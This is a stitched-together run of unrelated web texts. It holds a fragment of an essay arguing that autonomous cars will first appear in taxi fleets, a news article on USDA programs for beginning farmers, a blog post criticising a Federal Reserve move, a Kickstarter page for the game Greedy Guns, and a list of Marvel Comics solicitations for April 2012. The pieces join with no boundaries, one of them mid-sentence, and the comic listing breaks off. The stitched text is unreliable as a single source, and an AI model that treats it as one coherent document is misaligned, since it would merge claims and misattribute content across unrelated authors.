This is not a problem for the other use case of autonomous vehicles. Fully autonomous cars can operate much earlier on a limited set of predefined routes as taxis or buses which provide mobility as a service. Consumers will not be very interested in such autonomous vehicles but taxi companies, Uber, Car2Go, car-sharing and rental car companies as well as transit corporations clearly see the potential of autonomous vehicles: These autonomous cars can provide local mobility as a service at low cost. In urban areas fleets of autonomous cars can be called by anyone via mobile app. A self-driving taxi will arrive a few minutes later and drive the passenger to their destination with maximum convenience and without the need to look for parking. The autonomous taxi will drop the passenger of at the target location and continue on to the next customer. The business potential of such fleets is enormous as we have shown in other papers because such fully autonomous mobility services will be able to provide local mobility at much lower cost per vehicle-kilometer than today’s individually owned vehicles and today’s taxis.
Mapping just an urban area for autonomous driving (and keeping the maps up to date) is a much smaller problem than mapping the whole country. Additional problems of autonomous driving which delay the introduction of fully autonomous cars on a nationwide scale can be circumvented: Current autonomous cars can operate only in sunny areas with little rain and without snow. In the US alone there are hundreds of cities which fit this profile and where fleets of autonomous cars can operate safely long before the harder problem of autonomous driving in very adverse weather is fully solved.
The business case for fleets of autonomous cars is strong. Because such fleets are most attractive if they have many customers (and cars) in a region, such fleets exhibit network effects: First movers can achieve a much better market position than followers. In this market, the market leaders will be much more profitable than their competitors. Therefore entrepreneurs and investors have an incentive to grab market share early. A strategy where fleet operators deploy autonomous taxis in regions without adverse weather first with the goal to expand a few years later into the rest of the country – when the problem of operating autonomous cars in snow is solved – is therefore much more attractive than waiting until autonomous cars are capable of operating everywhere.
Fleets have another key advantage for deploying the first fully autonomous cars: Fleet owners maintain full control over their cars. Whereas cars sold to a consumer end up dispersed across the country, fleet owners continue to have access to the physical car at all times. When problems arise, accidents happen, updates or maintenance are required, fleet operators can easily access all of their autonomous cars. This is very important in the early phases of autonomous vehicles because operators of autonomous vehicles that operate in a limited local region can then remotely monitor all their cars and dispatch service teams where needed.
This level of control reduces risk: Fleet operators can ensure standard levels of service and maintenance whereas this is much more difficult for vehicles delivered to customers across the country. The risks of hacking and tampering with the car can also be also reduced when the cars are under control of a fleet where physical access to the car’s innards is limited to authorized personnel. It will be much easier for hackers to gain access to an autonomous vehicle which they can purchase than to a fleet vehicle.
Finally, vehicles that operate in urban areas can productively operate at lower speeds than cars sold to the consumer. Even at a maximum speed lower than or up to 50km/h (~35mph) local autonomous taxis can be very productive. Although urban autonomous driving is often considered the most difficult context, the liability risks of highway driving can be much higher because of the higher speed. In urban settings, cars can come to a stop when a problem arises in front of them. On highways inadvertent braking just to be on the safe side can cause major accidents and damage. The ability to operate autonomous fleets in select areas initially with low speeds at low risk profiles is another reason why autonomous vehicles are more likely to appear in fleets first and will only later be available for purchase by consumers.
In summary, these issues clearly show that we should not expect the first fully autonomous cars to be available for sale. The first fully |
expenses as well as grants for seminars and workshops to train people how to be farmers. Government-backed loans to new farmers have more than doubled in the past decade.
The goal is to reverse a worrisome trend: U.S. Census data through 2007 showed a lack of young farmers to replace aging operators - the average age of U.S. farmers rose from 52 in 1987 to 55 in 2007. The government hopes that new census data due this year will show more young farmers, a factor that government leaders say is critical for the future of food production.
Agriculture Secretary Tom Vilsack has set a goal of creating 100,000 new farmers in the next few years. Department of Agriculture programs target youth, women, Hispanics, American Indians and returning military veterans. It does not matter if the want-to-be farmers have agriculture in their background or have never set foot outside the city, there are programs to help them buy land and equipment and figure out what to grow.
AGING FARMERS
"The farming population today is aging rather rapidly," Vilsack said in an interview. "Over 30 percent of the current farm population is over the age of 65. We have a whole generation that is set to retire. The question is then who will take over those operations. We need generations of leaders in American agriculture to continue our position as the number one agricultural country in the world."
U.S. agriculture leaders say change is under way in Washington to support new farm practices and they say a rural renaissance is not only a way to add diversity to food production but also a means for bolstering the economy and reversing a decline in rural populations.
Beginning farmers are defined as anyone who has run a farm or ranch for less than 10 years. There are currently more than 450,000 beginning farms, about 21 percent of the nation's 2.1 million family farms, according to the USDA. But the government wants more.
To encourage more would-be farmers, USDA's Farm Service Agency (FSA) last year launched a "Start2Farm" website and is heavily marketing a range of financial and educational assistance programs.
On Jan. 20, FSA announce a new rule to expand loan opportunities. It also said it was expanding to all 50 states a program that guarantees farmland purchase contracts for beginning farmers and ranchers.
"This is to try to make sure rural America has a chance to thrive economically," said Chris Beyerhelm, FSA's deputy administrator for farm loan programs. "This is a focus of this administration."
Loan programs for beginning farmers and ranchers were introduced in 1992 but had little impact. So the 2008 Farm Bill greatly expanded assistance to include loans, commodity payments, conservation payments, and training programs. Since 2008, the number of loans to beginning farmers and ranchers has climbed from just over 9,000 to more than 15,000.
Last year, the FSA issued obligations totaling $1.77 billion to new farmers and ranchers, up from $1.59 billion in 2009, $1.2 billion in 2008 and $839.5 million in 2002.
Farmers in Iowa, the largest U.S. corn-producing state, received the most - last year new Iowa farmers got $118.6 million in beginning farmer program loans. New farmers in Nebraska, Minnesota, Wisconsin, Georgia, and Arkansas are other top recipients.
But every U.S. state is represented in the disbursements that can go to children of farmers who want to return to a family farm, as well as people who have no farming background or connections.
Howard Buffett, the son of billionaire investor Warren Buffett, runs a foundation focused on global food concerns and said his 29-year-old son recently traded in a career with the U.S. Defense Department to become a Nebraska farmer.
"We have a real challenge in this country in getting the next generation into agriculture," Buffett said. "Getting kids to come back to the farm is really difficult but really important."
'CHICKENS 101'
Universities around the country offer grant-funded educational courses on fundamentals that include finding farmland to buy, food safety, financing and agricultural practices, as well as specific training on topics like "grazing goats," "Chickens 101" and "Basic Beekeeping."
"It is not just a movement that is taking place in the middle of the country. It is all over," said Debi Kelly, an extension associate with the University of Missouri who helps manage beginning farmer programs.
Pending bills in Congress would set up a micro-loan program for new farmers for everything from vegetable farms to small dairy farms. And backers of beginning farmers are also lobbying to add to the 2012 farm bill language that would ease hurdles for them to get crop insurance.
"Farming has become an incredibly sexy topic and occupation for young people," said Ferd Hoefner, policy director for the National Sustainable Agriculture Coalition. "I've never seen anything like it in my experience."
One factor spurring these next-generation farmers is a growing subculture that is highly critical of what conventional agriculture has become. The documentary "Food Inc.," which depicts the nation's food supply as controlled by a handful of corporations that often put profit ahead of consumer health, was a call to action for some.
They worry that unlabeled genetically modified foods are harmful and fear that overuse of farming chemicals is damaging the soil and the food grown in it. They are angry about the way poultry, hogs and cattle are confined and dosed with antibiotics before slaughter.
IMPACT UNCERTAIN
It is too early to know if the new breed of farmer will have a significant influence on reversing the trend toward fewer and larger farms, or on the reliance on genetically modified seeds and chemical applications for crops, or on the shopping and eating habits of consumers.
But as the movement builds, conflicts already are festering as the younger, urbanized approach challenges the tenets of modern U.S. agriculture.
Just last month, a consortium of U.S. organic and small family farmers took on global seed giant Monsanto Co (MON.N) in a court hearing in New York. The growers want protection against the seed giant if their organic seed becomes contaminated with its patented biotech seed germplasm. A judge's ruling is due in March on Monsanto's motion for dismissal.
There also are face-offs over costly farmland, chemical applications and marketing strategies. Tension also is tied to farm programs geared toward commodity subsidies that favor large-scale production over small operations.
"I think there is much more conflict between these beginning farmers and the agribusiness establishment and their captive federal and state agencies, who see this trend as a threat to business as usual in rural America," said John Peck, executive director of the Family Farm Defenders group.
The influence of mainstream agriculture on their farming operations is something that troubles the Pughs, who will be planting their first spinach seed soon. They fear that chemicals used at a neighboring corn farm could hamper their efforts to be certified as organic producers. And they struggled so much to find affordable organic grain to feed their chickens that they gave up.
"Farming and food is so basic. We all have to eat to live," said Laura Pugh. "It is scary to see what is going on."
ROOKIE RISKS
Another troubling factor for new farmers is the skyrocketing cost of farmland. Year-over-year appreciation rates top 10, 20 and 30 percent in some states. In Nebraska, prices rose by almost 40 percent in 2011 over 2010, according to the Federal Reserve.
Land values are rising as farmers are benefiting from historically high prices for corn, wheat, soybeans and cattle, amid strong export demand and a boom in biofuel demand.
But new farmers in many cases are struggling to find quality land they can afford and if do buy, there is fear that a reversal in crop prices could leave them over-leveraged.
"I've been telling people, be cautious. You should work through the math," said David Baker, Iowa State University's farm transition specialist for the Iowa Beginning Farmer Program. "If corn were to drop by half, if soy dropped by half, does it still work? Can you handle it without a lot of heartburn?"
The Pughs feel fortunate to have bought their land at $2,300 per acre from the family of a farmer who had died. Although the tract had once been part of a large multi-generational family farm, the heirs had dispersed around the country.
The Pughs say they still have much to learn. They take classes and consult with advisors but hope soon to have a thriving, multi-faceted business that serves local farmers' markets in nearby Columbia, Missouri. They recognize they may never match the salary Dan drew for selling medical equipment but relish the chance to make a difference in the food they feed their family and sell to others.OK, the Fed moved. It was a bit stronger than expected — and BB and company stood up to the GOP.
But seriously, they’re trying to use a water pistol to stop a charging rhino.
Conventional monetary policy operates by changing the supply of monetary base, which is a unique, uniquely liquid asset. Increase the supply of green pieces of paper with pictures of dead presidents, and you start a hot-potato process in which people try to get out of that asset into higher-yielding but less liquid assets, interest rates fall all along the curve, and big real things can happen.
Right now, however, people are holding monetary base at the margin simply for its role as a store of value, so conventional monetary policy doesn’t do anything. The Fed is therefore trying to operate on a different margin, swapping short-term for long-term securities. The trouble here is that it’s not at all clear that this has much traction. To a first approximation, long-term interest rates are determined by expected future short-term rates, and if that were the whole story, the Fed would be accomplishing nothing at all.
Now, to a second approximation, risk plays a role; and what the Fed is trying to do is play on the margin created by the difference between the first and second approximations. OK. But we’re talking about very big markets here. Total nonfinancial debt in the US is around $36 trillion, and the Fed is talking about shifting $400 billion of that total from short-term to long-term assets. How much effect can that have?
The main way in which unconventional Fed policy can work is by changing expectations — especially expected future inflation. And that’s not happening. In fact, expectations of inflation over the next 5 years have been falling fast:
So kudos to the Fed for defying the right’s threats, and I guess this is better than nothing. But is it remotely enough? No.GREEDY GUNS is a greed-fueled metroidvania for you to explore and survive. Inspired by classic games like Gunstar Heroes, Super Metroid, Metal Slug with bullet-hell twists and plenty to discover.
Buy it on our website!
CLICK HERE TO SUPPORT US ON OUR WEBSITE by card, Amazon or PayPal!
Stretch Goals!
We'll keep pushing towards our stretch goals with every pledge done on our website! Click HERE to back us!
Try the demo for PC-MAC-LINUX to get a glimpse into the hectic, bullet-hell world of Greedy Guns!
remember playing with a friend on your Sega?
fight impossible ods
Every great game has an elevator level
It's not all shooting!
New Weapon
Unlock a powerful new weapon! What will it be? Check our updates and find out!
Extra Achievements
Not just your standard set of achievements! Can you finish the game with one life? How about only killing the least amount of enemies possible? Can you defeat all the secret bosses?
New game +
Play the game all over again. This time harder, with more secrets and with all the weapons unlocked!
PS Vita
You wanted it? You GOT IT!
PS 4
Greedy Guns is perfect with a Playstation controller. Let's bring it to all Sony platforms!
Wii U
Metroidvanias and Nintendo are like bread and butter. Want to play Greedy Guns on your Wii U?
Full Twitch Mode
We have a cool twitch demo that allows streamers to play against their fans and subs. Let's make this a full on game mode, with weapon drops and more arenas!
360º aiming and shooting - tired of only shooting forward or upward? We got your back. Shoot wherever, up to you.
tired of only shooting forward or upward? We got your back. Shoot wherever, up to you. Explore a connected world - no level selection screens. Explore the world, find secret areas to unlock new weapons and skins.
no level selection screens. Explore the world, find secret areas to unlock new weapons and skins. 2P local co-op - do you play well with others? Then bring a friend!
do you play well with others? Then bring a friend! Old-school relentless shooting action - Pew pew. A lot of it. Infinite ammo doesn't seem enough sometimes.
Pew pew. A lot of it. Infinite ammo doesn't seem enough sometimes. Unlock Abilities - like any good metroidvania your abilities not only make you stronger but also unlock new challenges.
like any good metroidvania your abilities not only make you stronger but also unlock new challenges. Trophies - Can you finish all the secret arenas? Can you really? We know we can.
Explore the world to unlock secrets and...
Unlock new weapons
Choose wisely! You can only carry two!
BACK US TODAY, UNLOCK ENEMIES!
Backers get a first glimpse of the upcoming bosses, enemies and their secret dwellings!
Follow our blog for reveals and updates!
Looking for FEROMONAS and VENOM EXTREME?
click here ;)
The future of Greedy Guns is filled with strange locations, insane enemies and huge boss fights. That's what we'll be doing in the following months. And you can be a part of it!
Want to be in the credits with your own avatar?
Choose your reward wisely and be part of our game FOREVER!
You've seen all the rewards. Which one suits you best? Do you want to support the development, be part of it or be in the actual game?
Every pledge from Beta Max will get exclusive access to Beta builds. A special build will be available as soon as the Kickstarter ends. Beginning in July we'll be sharing Betas with the full flow of the game. So be the first to play through the story. Watch us test, tweak and make it great with your feedback! Leave your legacy in the game!
a level from building blocks to the actual game
evolution of the enemy concept sketch by sketch
How will I get my copy?
When the campaign is over you'll get to pick if you want a Steam Key or DRM free copy when the game is out. Beta testers will get a Steam Key to the exclusive betas shortly after Kickstarter!
Can a ubiquitous corporation ever be evil? Of course not, profit is beyond ethics! That’s why HOLOCORP isn’t shy of sending mercenaries to explore and preemptively attack alien worlds. In return they get artifacts and DNA that they can use for much needed research. The Greedy Guns team is happy to work for HOLOCORP as long as they pay well. And do they ever. Too bad they also sell them their guns. Meet our "Heroes"!!
For a pure action game our composer is crafting a powerful soundtrack, inspired by the old classics but with a dance music taste. There is a OST preview already available, in the artist bandcamp page, with four extended tracks.
Stay tuned for more updates during the campaign!! ;)
Tio Atum has been developing Greedy Guns for two and a half years supported by contract work. We brought our game to Kickstarter so we can:
Focus solely on this project.
No more contract work
Get the community involved in the creation of the game
Tio Atum is a team of 3 game developers living and partying in Lisbon, Portugal.
Afonso Cordeiro (programmer) - Almost 9 years making games! Before co-founding Tio Atum was part of Miniclip. Favorite game: Ultima VII
- Almost 9 years making games! Before co-founding Tio Atum was part of Miniclip. Favorite game: Ultima VII Miguel Cintra (sound designer/composer/Social Media Guy) - With the team since the very beginning, he's our composer and SFX man. AKA Blipperactive, Miguel performs live sets of his videogame music. Favorite Game: Resident Evil 4
- With the team since the very beginning, he's our composer and SFX man. AKA Blipperactive, Miguel performs live sets of his videogame music. Favorite Game: Resident Evil 4 Miguel Rafael @migrafael (artist/designer) - 7 Years in the industry, he also was part of Miniclip before creating Tio Atum. He is writing this, and he loves you. Favorite Game: Another World
When is the game finished?
The game will be out by December 2016.Marvel Comics April 2012 Releases!
These are the Marvel Comics April 2012 solicitations!
AvX: Vs #1 (Of 6)
Cover by Adam Kubert
Variant Cover by Stuart Immonen
Amazing Spider-Man 50th Anniversary Variant by TBA
• The Premier Tie-In To Avengers Vs. X-Men!
• All-Out Action Featuring Cover To Cover Battles, Each Issue Expanding On Fights From The Main AvX Book In Ways You Can’t Imagine!
• This Issue: Iron Man Vs. Magneto And Thing Vs. Namor!
32 Pgs./Rated T+ …$3.99
Avengers Vs. X-Men #1 (Of 12)
Brian Michael Bendis (W) • John Romita Jr. (A)
Cover by Jim Cheung
Variant Covers by Ryan Stegman & John Romita Jr.
Blank Variant Also Available
• It’s No Longer Coming—It’s Here!
• Does The Return Of The Phoenix To Earth Signal The Rebirth Of The Mutant Species? That’s What The X-Men Believe!
• Unfortunately, The Avengers Are Convinced That Its Coming Will Mean The End Of All Life On Earth!
• The Stage Is Set For The Ultimate Marvel Showdown In This Oversized First Issue!
40 Pgs./Rated T+ …$3.99
Avengers Vs. X-Men #2 (Of 12)
Jason Aaron (W) • John Romita Jr. (A)
Cover by Jim Cheung
Variant Covers by Nick Bradshaw & Carlo Pagulayan
• As The Opening Shot Is Fired, The Avengers Storm The Beach Of Utopia, And The Phoenix Draws Ever Nearer To Earth!
• But Which Side Will Wolverine Fight On?
• And What Choice Will Hope Make That Will Change The Direction And Scope Of The Conflict Dramatically?
32 Pgs./Rated T+ …$3.99
New Avengers #24
Brian Michael Bendis (W) • Mike Deodato (A/C)
Avengers Art Appreciation Variant by Joe Quinones
• AvX Tie-In!
• The New Avengers Have Received The Call To Duty by Captain America To Go To War Against The X-Men.
• Wolverine Will Be Forced To Choose A Side.
32Pgs./Rated T …$3.99
New Avengers #25
Brian Michael Bendis (W) • Mike Deodato (A)
• AvX Tie-In!
• Iron Fist Discovers The Shocking Connection Between Himself And The Cosmic Phoenix Force…!
32 Pgs./Rated T …$3.99
Avengers #25
Brian Michael Bendis (W) • Walt Simonson (A)
Cover by Daniel Acuña
Avengers Art Appreciation Variant by Gabriele Dell’otto
• AvX Tie-In!
• Captain America Has Declared War On The X-Men.
• The Shocking Final Storyline In The Brian Bendis Avengers Saga!
32 Pgs./Rated T …$3.99
Secret Avengers #26
Rick Remender (W) • Renato Guedes (A)
Cover by Alan Davis
Avengers Art Appreciation Variant by TBA
• AvX Tie-In!
• Thor Leads A Secret Team Of Avengers On A Suicide Mission To Stop The Phoenix by Any Means Necessary!
32 Pgs./Rated T+ …$3.99
Uncanny X-Men #11
Kieron Gillen (W) • Greg Land (A/C)
Avengers Art Appreciation Variant by Greg Horn
• AvX Tie-In!
• Cyclops Leads The X-Men In To Their Toughtest Battle Yet!
• Juggernaut-Powered Colossus Vs. The Red Hulk!
32 Pgs./Rated T+ …$3.99
Wolverine & The X-Men #9
Jason Aaron (W) • Chris Bachalo (A/C)
Avengers Art Appreciation Variant by Alex Maleev
• AvX Tie-In!
• Wolverine, Torn Between Two Teams!
• Will The Jean Grey School Follow Its Leader?
32 Pgs./Rated T+ …$3.99
Avengers: Roll Call
The OHOTMU Team ed by Jeff Christiansen, Mike O’sullivan & Stuart Vandal (W)
Dalibor Talajic (A) & Gus Vazquez (A)
Cover by Ariel Olivetti
• The Perfect Primer For Marvel’s The Avengers Motion Picture!
• New Profiles, Updates On The Stars Of The Movie And More!
• Avengers Members (Charlie-27, Flux/Dennis Sykes), Enemies (Agamotto, Scarlet Beetle, The Atlantean Tyrak), Allies (Doorman/Demarr Davis, Victoria Hand, The Inhuman Karnak) And Everyone In Between (Carina, Cat People, Trickshot/Barney Barton)!
• Plus: Avengers Academy, Secret Avengers,
An Update On The Team Itself And A Full Feature Profile On Hawkeye (Clint Barton)!
64 Pgs./Rated T+ …$4.99
Avengers: The Coming Of The Avengers! #1
Stan Lee (W)
Jack Kirby (A/C)
• Just In Time For Marvel’s The Avengers, Relive The Story That Started It All — Digitally Remastered And Recolored In Modern Style by Jean-Francois Beaulieu (The Wonderdful Wizard Of Oz)!
• Loki Hatches A Plot Against His Hated Stepbrother Thor, Drawing Earth’s Mightiest
Heroes Into The Fray!
• Reprinting Avengers (1963) #1.
32 Pgs./All Ages …$3.99
Avengers Academy #28
Christos Gage (W)
Karl Monline (A)
Cover by David Lafuente
• Guest-Starring The Runaways!
• Romantic Sparks Fly Between An Academy Student And A Runaway! But Between Who?
• Jurassic Fans Rejoice: An Appearance by Devil Dinosaur…And The Return Of Old Lace!
• Plus: Will Nico, Chase, Victor, Klara, Karolina And Molly Finally Stop Running And Join The School?
32 Pgs./Rated T …$2.99
Marvel’s The Avengers Prelude #3 & #4 (Of 4)
Chris Yost & Eric Pearson (W)
Agustin Padilla & Wellinton Alves (A)
Cover by Gerald Parel
• The Official Marvel Cinematic Universe Tie-In Comic To The Avengers Comes To An Explosive Conclusion!
• How Does Nick Fury Handle The Biggest Heroes In The Universe?
• Who Are The Real Agents Of S.H.I.E.L.D?
• Includes Exciting And Never-Before-Seen Moments From Marvel’s Biggest Blockbusters!
32 Pgs. (Each)/Rated T+ …$2.99 (Each)
Avengers Assemble #2
Brian Michael Bendis (W) • Mark Bagley (A/C)
Avengers Art Appreciation Variant by Stephanie Hans
• Who Is The Zodiac?
• The Blockbuster Team Behind Ultimate Spider-Man Bring You An In-Continuity Avengers Team For Movie And Comic Book Fans Alike!
32 Pgs./Rated T+ …$3.99
Secret Avengers #25
Rick Remender (W) • Gabriel Hardman (A)
Cover by Arthur Adams
• The Final Ascension Of The Adaptoids, Deathlok Legion, Sentinaughts, Ultravisions, And Machine People!
• Can The Secret Avengers Stop These Descendants From Carrying Out Contagious Robotic Evolution?
• A Dead Friend Returns! An Avenger Mortally Injured! A Spy In Their Midst! The Lighthouse Compromised! • A New Race Is Born!
32 Pgs./Rated T+ …$3.99
Ultimate Comics Spider-Man #9
Brian Michael Bendis (W) • David Marquez (A)
• The Police Have Miles Squarely In Their Sights!
• Prowler Versus The Scorpion!
• Is The Secret Of The New Spider-Man Out?!
32 Pgs./Rated T+ …$3.99
Ultimate Comics Ultimates #9
Jonathan Hickman (W) • Esad Ribic (A)
Cover by Kaare Andrews
• S.H.I.E.L.D. Has Been Taken Over But Where Does That Leave The Ultimates?
• As Nations Tumble, Could The U.S. Be Next To Fall?
32 Pgs./Rated T+ …$3.99
Ultimate Comics X-Men #10
Nick Spencer (W)
Paco Medina (A)
Cover by Kaare Andrews
• It’s Storm Makes A Desperate Last Stand Against Impossible Odds.
• The Battle Of Camp Angel Comes To A Brutal Climax.
• From The Rubble, A Nation Is Changed Forever.
32 Pgs./Rated T+ …$3.99
Dark Tower: The Gunslinger – The Way Station #5 (Of 5)
Robin Furth & Peter David (W)
Laurence Campbell (A/C)• In The Speaking Ring, What Does The Succubus Have Planned For The Gunslinger?
• Roland Must Leave Jake To See The Oracle, But Will He Survive The Experience?
• Is Roland Any Closer To The Man In Black Or Is He Only Getting Closer To His Own Demise?
32 Pgs./Parental Advisory…$3.99
Halo: Fall Of Reach – Invasion #4 (Of 4)
Brian Reed (W)
Felix Ruiz (A/C)
• The Covenant Continues Its Invasion Of The
Planet Reach, Pushing The Unsc To Its Breaking Point.
• Master Chief And Cortana Struggle To Save The Planet And The Fleet.
•The Final Chapter In The Halo: Fall Of Reach Saga by Brian Reed And Felix Ruiz!
32 Pgs./17 & Up …$3.99
© 2012 Microsoft Corporation. All Rights Reserved. Microsoft, 343 Industries, The 343 Industries Logo, Halo, The Halo Logo, Xbox, Xbox 360, And The Xbox Logos Are Trademarks Of The Microsoft Group Of Companies.
Formic Wars: Silent Strike #5 (Of 5)
Orson Scott Card & Aaron Johnston (W)
Giancarlo Caracuzzo (A)
Cover by Giuseppe Camuncoli
• The Shocking Conclusion To The First Formic War, A Prequel To Orson Scott’s Card’s Science-Fiction Classic Ender’s Game.
• The Formics Fight To The Bitter End. But Is It The End?
• The Hegemon Of Earth Is Revealed!
32 Pgs./Parental Advisory …$3.99
John Carter: The Gods Of Mars #2 (Of 5)
Sam Humphries (W)
Ramon Perez (A)
Cover by Julian Totino Tedesco
• Finally Back On Mars, John Carter Finds Himself In The Dreaded Valley Of The Dead!
• He’s Escaped From The Clutches Of Beasts And Monsters…But Can He Escape From The Grasp Of The Gods?
• Who Is Cathoris, The Red Martian Who Mysteriously Looks Like John Carter?
32 Pgs./All Ages …$3.99
Scarlet Spider #4
Christopher Yost (W) • Ryan Stegman (A/C)
Avengers Art Appreciation Variant by TBA
• Kaine’s Dark Past Comes Back To Haunt Him.
• The Assassins Guild Comes To Houston For The Head Of Scarlet Spider!
32 Pgs./Rated T+ …$2.99
Amazing Spider-Man #683
Dan Slott (W) • Stefano Caselli (A/C)
Variant Cover by Avengers Art Appreciation Variant by Mike Del Mundo
• The Biggest Movie Stars Of The Summer Team Up As The Amazing Spider-Man And The Avengers Square Off Against Doc Ock And The Sinister Six!
•The World May Be Ready To Buckle Under And Give In To Doctor Octopus’ Demands… But Spider-Man And His Fellow Avengers Sure Ain’t!
32 Pgs./Rated T …$3.99
Amazing Spider-Man #684
Cover by Stefano Caselli
Variant Cover by Gabriele Dell’otto
• Spider-Man’s Globetrotting Adventure Against The Sinister Six Moves To The Middle East For A Face Off Against…The Sandman!
• In The Past, Spidey’s Fought Sandman On Beaches, In Quarries, But Never Like This – How Can Web-Head Hope To Defeat Sandman When He’s Controlling The Sahara Desert?!
• Special Guest Stars: Black Widow And Silver Sable.
32 Pgs./Rated T …$3.99
Carnage U.S.A. #5 (Of 5)
Zeb Wells (W)
Clayton Crain (A/C)
• It’s “America The Brutal” As The Massive Hit Mini-Series Concludes… Paving The Way For This Summer’s Secret Symbiote Event!
• Spidey, Venom And The Avengers Take On Carnage With A City At Stake And The Souls Of Hundreds On Their Shoulders.
32 Pgs./Rated T+ …$3.99
Amazing Spider-Man: Hooky #1
Susan Putney (W)
Bernie Wrightson (A/C)
• Spider-Man Vs. The Horrific Tordenkakerlakk
In The Dimension Of Cloudsea!
•Can Spidey And The Spirited Spindrifter
Overcome A Foe That Becomes More Powerful – And More Terrifying – Each Time It’s Defeated?
•A Macabre Masterpiece Illustrated In Disturbing Detail by Horror Master Bernie Wrightson!
•Reprinting Marvel Graphic Novel #22: Spider-Man – Hooky.
64 Pgs./Rated T+ …$4.99
Venom #15 & #16
Rick Remender (W) • Lan Medina (A)
Covers by Tony Moore
Issue #15
• After Staring Down The Apocalypse, Venom Joins The Secret Avengers – But What’s Left Of Flash Thompson To Join The Team?!
• Meanwhile, It Had To Happen – Eddie Brock Comes Gunning For Symbiotes!
• Series Regulars Rick Remender And Lan Medina Return For A Bold New Day In The Life Of Venom!
Issue #16
• A Routine Prisoner Transfer Of The Fly Thrusts Venom Into One Of The Most Dire Conflicts Of His Young Super Career!
• One Fatal Act Will Change Venom’s Life Forever – And Lead To Savage Consequences In The Months To Come!
32 Pgs. (Each) /Rated T+ …$2.99 (Each) *Issue #15 Cover Shown.
Avenging Spider-Man #6
Mark Waid & Greg Rucka (W)
Marco Checchetto (A)
Cover by Steve McNiven
Variant Covers by Marco Checchetto & Adi Granov
• “The Omega Effect” Begins Here Bringing Together Marvel’s 3 Biggest Heroes From The Most Acclaimed New Books Of The Year!
• Spider-Man, Daredevil And Punisher In An Epic Chase Across Manhattan For A Mysterious Treasure That Will Change The Course Of All Their Lives.
32 Pgs./Rated T+ …$3.99
The Punisher #10
Greg Rucka (W) • Marco Checchetto (A/C)
Variant Cover by Adi Granov
• “The Omega Effect” Part Two! Guest Starring Spidey And Daredevil!
• A Perfect Time To Try This Highly Acclaimed New Series As Frank Castle Joins In With The Meanest Team-Up You Ever Saw.
• Forced To Work With Two Garishly Dressed Avengers, The Punisher Makes One Promise: “Trust No One…Hurt Everyone.”
32 Pgs./Parental Advisory …$2.99
Daredevil #11
Mark Waid (W) • Marco Checchetto (A)
Cover by Marcos Martin
Variant Cover by Adi Granov
Avengers Art Appreciation Variant by Steffi Schütze
• “The Omega Effect” Concludes!
• Daredevil And Spider-Man Join Frank Castle In A Blitzkrieg Takedown Of New York Crime– But Don’t Take It For Granted That These Heroes Are All Working Together.
32 Pgs./Rated T+ …$2.99
Captain America And Hawkeye #629
Cullen Bunn (W)
Alessandro Vitti (A)
Cover by Gabriele Dell’otto
• Captain America And Hawkeye Vs. Dinosaurs!?!
• Something’s Rotten In The San Andres Mountains…And It’s Eating The Locals.
• Join Fearless Writer Cullen Bunn As He Teams Captain America Up With The Best, The Worst And The Downright Villainous Of The Marvel Universe For All-New, All-Action And All-Awesome Arcs Chock-Full Of High-Octane Insanity! Best Bring A Helmet!
32 Pgs./Rated T …$3.99
Captain America #10
Ed Brubaker (W) • Alan Davis (A/C)
Avengers Art Appreciation Variant by Richard Isanove
• Conclusion Of “Powerless”!
• Can Cap’s Condition Be Cured?
• Falcon Fights Alongside The Enemy!
• Hydra Revealed And A New Name For An Arch-Enemy!
32 Pgs./Rated T …$3.99
Winter Soldier #4
Ed Brubaker (W) • Butch Guice (A)
Cover by Lee Bermejo
Avengers Art Appreciation Variant by John Tyler Christopher
• Bucky Vs A Gorilla! You Heard Me, Look At That Cover.
• The Villains Plot Revealed!
• Featuring Dr. Doom, Red Ghost, And More!
32 Pgs./Rated T+ …$3.99
The Mighty Thor #12.1
Matt Fraction (W) • Pepe Larraz (A)
Cover by Olivier Coipel
• The God Of Thunder, Back On Earth And Ready To Make Up For Lost Time!
• His Father In Exile! His Mother On The Throne! Thor’s World Is Upside Down!
• But If Thor Is Here Then… What Is Dr. Donald Blake Doing Here, Too?
• The Stunning Tale Of The Man Inside Of The God — And The God Inside Of The Man – In The Merry Marvel Manner!
32 Pgs./Rated T+ …$2.99
The Mighty Thor #13
Matt Fraction (W) • Pepe Larraz (A)
Cover by Walter Simonson
Avengers Art Appreciation Variant by Gerald Parel
• Thor…Meet Doctor Donald Blake?
• Just Who Is The Mysterious Woman In Dr. Blake’s Life?
• And Just Why Is All Of Broxton…And All Of Asgardia…Having The Same Nightmare?
32 Pgs./Rated T+ …$3.99
Journey Into Mystery #636
Kieron Gillen (W) • Richard Elson (A)
Cover by Stephanie Hans
• Conclusion Of The Terrorism Myth!
• With A Little Help From A Little God, Nightmare Has Made The Crown That Makes Him King Of Fear And The World.
• Our Only Hope Is That Loki Has Somehow Trapped It… He Hasn’t. It Works Fine. Oh Noes!
• The Time For Heroism Is Over. Now It’s Time For Something Else…
32 Pgs./Rated T+ …$2.99
Fantastic Four #605
Jonathan Hickman (W)
Ron Garney (A/C)
Avengers Art Appreciation Variant by Michael Kaluta
• “The Fantastic Four Of 3030”
• One Thousand Years In The Future, Who Are The Fantastic Four?
• Why Are There No More Villains?
• What Happened To All The Heroes?
32 Pgs./Rated T …$2.99
FF #17
Jonathan Hickman (W)
Nick Dragotta (A)Cover by Mike Choi
Avengers Art Appreciation Variant by Gerald Parel
• “Roomies”
• Now That He’s Back Among The Living, The Human Torch Moves In With Spider-Man! Can Two Super Heroes Share An Apartment Without Driving Each Other Crazy?
• What Secret Lies Behind The Door To Annihilus’ Closet?
• Who Throws A House Party Like The Light Brigade?
32 Pgs./Rated T …$2.99
Incredible Hulk #7
Jason Aaron (W) • Whilce Portacio (A)
Cover by Leinil Yu
Avengers Art Appreciation Variant by Charles Paul Wilson Iii
• We Dare Not Reveal More! We Wouldn’t Want To Spoil What Is Sure To Be One Of The Most Exciting Comics Of The Year!
32 Pgs./Parental Advisory …$3.99
Hulk #50
Jeff Parker (W) • Carlo Pagulayan (A/C)
Variants by Arthur Adams, Humberto Ramos & Walter Simonson
Blank Cover Also Available
• Bonus-Sized! A Great Jumping On Point, As The Ghoulish Haunted Hulk Arc Begins!
• Who Or What Is The Dark Figure Hunting Red Hulk?
• Can Red Hulk’s Might Match Malevolent Magic?
• Appearances by Dr. Strange, Red She-Hulk, Iron Man, Spider-Man, Daredevil And Others We Aren’t At Liberty To Divulge!
48 Pgs./Rated T+ …$3.99
The Avengers: Earth’s Mightiest Heroes Adventures #1
Chris Yost (W)
Adam Dekraker (A)
• Face Front, Action Fans! It Starts Here!
